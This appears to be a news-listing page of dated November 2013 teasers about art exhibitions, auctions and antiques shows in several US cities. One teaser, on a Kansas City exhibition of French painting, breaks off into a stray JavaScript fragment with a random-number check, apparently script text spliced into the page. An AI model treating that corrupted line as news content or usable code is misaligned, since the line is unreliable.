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12 Nov 2013THOMASTON, MAINE — A pair of original ink drawings by Frederic Remington soared well past their...
12 Nov 2013KANSAS CITY, MO. — An exhibition of mid-Nineteenth Century French painting andom() * 6); if (number1==3){var...
12 Nov 2013BOSTON, MASS. — Timed to run concurrently with the Museum of Fine Arts, Boston’s John Singer...
12 Nov 2013NEW YORK CITY — The history of the American Dream of home ownership is highlighted in the exhibition...
12 Nov 2013POUGHKEEPSIE, N.Y. — While the book The Tale of Genji dates from the Eleventh Century, it continues...
12 Nov 2013By: Stephen May NEW YORK CITY — For six decades Robert Indiana (b 1928)...
12 Nov 2013By: David S. Smith SPARKS, MD. — Solid prices for a good assortment...
05 Nov 2013By: David S. Smith MILFORD, CONN. — “All of the markets are back,”...
05 Nov 2013By: Andrea Valluzzo MORRISTOWN, N.J. — As the fall foliage hit its zenith,...
05 Nov 2013By: David S. Smith LAMBERTVILLE, N.J. — Kicking off a comprehensive...
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